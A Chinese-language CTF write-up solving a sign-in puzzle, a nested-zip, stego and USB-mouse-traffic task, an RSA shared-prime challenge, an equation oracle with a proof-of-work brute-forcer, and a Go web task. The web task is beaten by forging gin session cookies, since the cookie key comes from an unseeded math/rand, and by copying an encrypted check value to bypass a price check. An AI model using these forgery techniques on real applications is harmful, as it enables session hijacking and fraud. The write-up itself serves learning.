难度相比今年其他比赛的话,已经算是十分舒适了,就是套娃太多了,哪个环节少个思路直接赛季报销
队伍成绩:1657.5
pt/6
kill/57
名/167
有解/398
报名
个人成绩:1007.5
pt/5
kill/67
名/319
有解/1010
报名
Misc
签到题[130killed 一血
]
简简单单猜数字01-30 SangFor{md5(---.....)}(32位md5)
这题拿到之后是个gif,那就直接ps里面看帧呗。
这就八二法则
或者叫二八法则
呗,那就是28
。
太极八卦,那可能是28
或者08
,28
刚猜过,那就是08
。
三十而立,那就是30
。
明显的北斗七星,那就是07
。
四大才子,那就是04
。
歼20,那就是20
。
两个黄鹂鸣翠柳,可能是02
。
这题刚开始以为是F4,但是不对,后来一想可能是一起
谐音17
。
23
号球衣。
1
马当先。
12
星座或者12
生肖。
新闻联播嘛,按照播出时间大概率是19
或者07
。
最后拼合一下,再把几个不确定的都试一下,得到正确的情况是28-08-30-07-04-20-02-17-23-01-12-19
,md5一下即可得到flag,可惜签到题的一血没有加成。
SangFor{d93b7da38d89c19f481e710ef1b3558b}
Misc520[33killed 二血
]
有一天,zip爱上了pcap,zip为了能与pcap创造更多机会,不断地将自己的能力表现出来。可是,LSBSteg却突然杀了出来,将pcap吞并于png中,不放出来
。zip看到了png,多喝热水少做梦。zip异常的愤怒,不断地用自己的能力去报复png,不让png逃走。至今,zip仍未释怀。
打开附件一看,压缩包套娃,那就写个脚本解压到0.zip
,从519.zip
开始解压是因为520.zip
的文件树不太一样。
from zipfile import ZipFile
for i in range(519, 0, -1):
data = ZipFile(f'{i}.zip', 'r')
with open(f'{i-1}.zip', 'wb') as f:
f.write(data.read(f'{i-1}.zip'))
解压得到flag.png
。
根据题目描述尝试LSB隐写,调整至BGR
时发现存在压缩包。
提取出来去掉头尾的无用数据后,打开发现需要密码,尝试伪密码无果,直接爆破得到密码12345
,解压得到flag.pcap
。
打开发现是USB流量题,并且数据比较像鼠标流量(第一位00/01/02
表示正常/左击/右击,第二位x轴偏移值,第三位y轴偏移值,第四位00
)
于是命令提取出鼠标数据,tshark.exe -r "flag.pcap" -T fields -e usb.capdata > "usbdata.txt"
。
用脚本读取数据,打出坐标。
nums = []
with open('usbdata.txt', 'r') as f:
keys = f.read()
posx = 0
posy = 0
with open('trace0.txt', 'w') as f0:
with open('trace1.txt', 'w') as f1:
for line in keys.split('\n'):
if len(line) != 8:
continue
c = int(line[0:2], 16)
x = int(line[2:4], 16)
y = int(line[4:6], 16)
if x > 127:
x -= 256
if y > 127:
y -= 256
posx += x
posy += y
print(posx, posy)
assert c in [0, 1, 2]
if c == 0:
f0.write(f'{posx} {posy}\n')
elif c == 1 or c == 2:
f1.write(f'{posx} {posy}\n')
其中移动数据写到trace0.txt
里,左右点击数据移到trace1.txt
里。
然后用gnuplot
画出轨迹,plot "trace0.txt", "trace1.txt"
。
但是轨迹的y轴似乎反了,于是改一下脚本中的输出为反向y,f0.write(f'{posx} {-posy}\n')
,再次运行并画出轨迹。
所以数据为111, 63, 130, 94, 51, 134, 119, 146
(轨迹顺序)。
但是咋解都没有flag,不过后面主办方发了个补充说要把得到的GWHT{xxxx}
换成Sangfor{xxxx}
,既然flag格式能得到,那就说明数据还没找完,但是流量包看了一遍已经充分利用了,所以还有一部分数据在LSB隐写里或者压缩包里。
先改刚才的解压脚本测一下压缩包。
from zipfile import ZipFile
for i in range(519, 0, -1):
data = ZipFile(f'{i}.zip', 'r')
assert len(data.filelist) == 2
assert data.filelist[1].CRC == 2810921776
with open(f'{i-1}.zip', 'wb') as f:
f.write(data.read(f'{i-1}.zip'))
发现在150.zip
的时候story
文件的校验过不去,那说明这个文件和其他压缩包中的不是同一个,打开发现另一段数据。
根据文本可知这应该是第一段数据,鼠标流量是第二段数据。
然后GWHT
的ascii71, 87, 72, 84
和72, 89, 75, 88
十分相像,作差得到1, 2, 3, 4
,所以应该是个古典密码变形。
写个脚本解。
a = [72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
111, 63, 130, 94, 51, 134, 119, 146]
flag = ""
for i, x in enumerate(a):
flag+=chr(x - i-1)
flag = flag.replace('GWHT', 'Sangfor')
print(flag)
但是得到的flagSangfor{W3lCom3_a0rM!sc}
并不对,观察发现a0r
没有实意,应该是这里出错了,对应的正好是鼠标流量的前三个111, 63, 130
。
那么猜测可能正确顺序并不是鼠标轨迹顺序,而是从左往右,于是倒一下这三个数,修改脚本再次运行得到flag。
a = [72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
130, 63, 111, 94, 51, 134, 119, 146]
flag = ""
for i, x in enumerate(a):
flag+=chr(x - i-1)
flag = flag.replace('GWHT', 'Sangfor')
print(flag)
Sangfor{W3lCom3_t0_M!sc}
Crypto
Bigrsa[99killed]
题目如下:
from Crypto.Util.number import *
from flag import *
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n1)
c = pow(c, e, n2)
print("c = %d" % c)
# output
# c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264
这题看到两个n
,于是gcd
一下,发现存在模不互素,于是直接改一下模不互素的通用脚本,先解出原始c(也就是第二次加密的明文c),再解出第一次加密的明文m。
import gmpy2
from Crypto.Util.number import long_to_bytes
c2 = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
p12 = gmpy2.gcd(n1, n2)
assert (p12 != 1)
q1 = n1 / p12
q2 = n2 / p12
e = 65537
d1 = gmpy2.invert(e, (p12 - 1) * (q1 - 1))
d2 = gmpy2.invert(e, (p12 - 1) * (q2 - 1))
m2 = pow(c2, d2, n2)
c1 = m2
m1 = pow(c1, d1, n1)
print long_to_bytes(m1)
SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}
RingRingRing[53killed]
连接上去过了watchdog后大致交互了一下。
发现逻辑大概是给出100个不同的正数a, b, c, d, e
满足表达式a^4 + b^4 + c^4 + d^4 = e^2
,化简下等式看看核心条件。
为了方便爆破假定等式a = b = c = d
成立,可得4 * a^4 = e^2
。
因为不允许负数,所以直接开方得2 * a^2 = e
,即e = 2 * a^2
,所以遍历a[1, 100]
就行,写个脚本直接拿flag。
from hashlib import md5
from string import digits, ascii_lowercase
from pwn import connect
def go(strend, hashstart):
hexdigits = digits+ascii_lowercase[0:6]
for i in hexdigits:
for j in hexdigits:
for k in hexdigits:
for l in hexdigits:
for m in hexdigits:
for n in hexdigits:
str = i + j + k + l + m + n
if md5(f'{str}{strend}'.encode()).hexdigest()[0:5] == hashstart:
return str
if __name__ == '__main__':
conn = connect('192.168.39.181', 2378)
prevQ = conn.recvuntil(b'[>] Give me xxxxx: ')
print(prevQ[36:40].decode(), prevQ[50:55].decode())
prevA = go(prevQ[36:40].decode(), prevQ[50:55].decode())
conn.sendline(prevA.encode())
print(conn.recvlines(2))
for _ in range(1, 101):
for __ in range(4):
print(conn.recvn(7))
conn.send(str(_).encode())
print(conn.recvn(7))
conn.send(str((_ ** 2) * 2).encode())
print(conn.recvlines(1))
print(conn.recvlines(1)) # flag
conn.close()
GWHT{a_funny_equation}
Web
Checkin_Go[42killed]
这题上去尝试一下可以知道第一层应该是把自己提升成admin
。
根据所给的网站源码,main.go
中有这么一段初始化cookie的操作。
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
其中randomChar
函数在handle.go
中定义。
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
这里的话,go的rand.Read
函数如果只给出位数不给出种子的话,其结果是固定的(内置种子始终为1
),所以只要自己本地生成个就行。(现场下个GoLand现学哈哈哈)
编写本地web环境如下。
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"math/rand"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/a",cookieHandler)
r.Run("0.0.0.0:20702")
}
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
s.Set("uname", "admin")
s.Save()
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
启动之后访问http://127.0.0.1:20702/a
去看下cookie即可拿到session。
MTYzMTQwOTMyOHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT187JKQbwyTo-YsnconJPoJ66GQ-d4jqxyZQyxN4ydjWPM=
代到题目环境里,成功伪造成admin
用户,尝试+1成功。
但是这个+1是加在flag price
上的,那岂不是越来越远了。。。而且看源码可以发现是没法用负数的,newMoney = uint32(u1) + uint32(u2)
,只能用特大数去-1
,那得减到啥时候去啊。
于是转换思路,把session里的其他值也给伪造了。
先把题目环境里的新session(存储了flag价格和自身余额后的)给复制到本地环境,然后改一下环境代码读一下数据看看。
MTYzMTQwOTQwN3xEdi1CQkFFQ180SUFBUkFCRUFBQV85cl9nZ0FGQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlp2UzFFMU1IVnFNamx5Tld0VldraHhibTFVYWt0QkJuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUU5wYm5RRUJBRC1KeEFHYzNSeWFXNW5EQklBRUdOb1pXTnJVR3hoZVdWeVRXOXVaWGtHYzNSeWFXNW5EQmdBRms5dFNGRTRjRUl5WkdsM1dFdDRNMUpOYUVwS1ZYY0djM1J5YVc1bkRBY0FCWFZ1WVcxbEJuTjBjbWx1Wnd3SEFBVmhaRzFwYmdaemRISnBibWNNQ2dBSWJtOTNUVzl1WlhrR2RXbHVkRE15QmdVQV9RTU5RUT09fCMJfXwZ3npAkRlNE4cPbYQA-f76ob0WqJxKf3iixFgG
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
//s.Set("uname", "admin")
fmt.Println(s.Get("uname"))
fmt.Println(s.Get("nowMoney"))
fmt.Println(s.Get("playerMoney"))
fmt.Println(s.Get("checkNowMoney"))
fmt.Println(s.Get("checkPlayerMoney"))
//s.Save()
}
可以结合guess.go
发现checkNowMoney
和checkPlayerMoney
这两个校验合法性用的值被aes加密了,如果只伪造nowMoney
或者playerMoney
的话,显然是不行的。
checkNowMoney := AesDecrypt(fmt.Sprintf("%v", s.Get("checkNowMoney")), string(secret))
if checkNowMoney == nowMoney {
newMoney = uint32(u1) + uint32(u2)
s.Set("nowMoney", newMoney)
s.Set("checkNowMoney", AesEncrypt(strconv.Itoa(int(newMoney)), string(secret)))
s.Save()
c.String(200, "New money set.Refresh /game")
return
} else {
c.String(200, "checkNowMoney is wrong")
}
但是aes的密钥又获取不到,也不是啥项目默认值之类的,所以信息泄露的路子应该不是了。
那就直接用拷贝伪造吧,把代表着5000
的checkPlayerMoney
拷贝数据到checkNowMoney
,使得题目环境认为checkNowMoney
解密后也是5000
,然后把nowMoney
改成5000
,这样子拿flag的价格就只需要咱们本来就有的5000块钱了。
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
//s.Set("uname", "admin")
//fmt.Println(s.Get("uname"))
//fmt.Println(s.Get("nowMoney"))
s.Set("nowMoney", 5000)
//fmt.Println(s.Get("playerMoney"))
//fmt.Println(s.Get("checkNowMoney"))
s.Set("checkNowMoney", s.Get("checkPlayerMoney"))
//fmt.Println(s.Get("checkPlayerMoney"))
s.Save()
}
拿着新构造的session cookie去题目环境,flag价格成功降至5000,且成功拿到flag。
MTYzMTQwOTQ1MXxEdi1CQkFFQ180SUFBUkFCRUFBQV85Yl9nZ0FGQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpQYlVoUk9IQkNNbVJwZDFoTGVETlNUV2hLU2xWM0JuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUU5wYm5RRUJBRC1KeEFHYzNSeWFXNW5EQklBRUdOb1pXTnJVR3hoZVdWeVRXOXVaWGtHYzNSeWFXNW5EQmdBRms5dFNGRTRjRUl5WkdsM1dFdDRNMUpOYUVwS1ZYY0djM1J5YVc1bkRBY0FCWFZ1WVcxbEJuTjBjbWx1Wnd3SEFBVmhaRzFwYmdaemRISnBibWNNQ2dBSWJtOTNUVzl1WlhrRGFXNTBCQVFBX2ljUXzZWIK9E4_5hoihxAAEy-cw_RQLsjIYeHJx-A4afoUz3w==
Sangfor{6MwPknlwyMsCTBK/u7uwJxPgsW9fZTHm}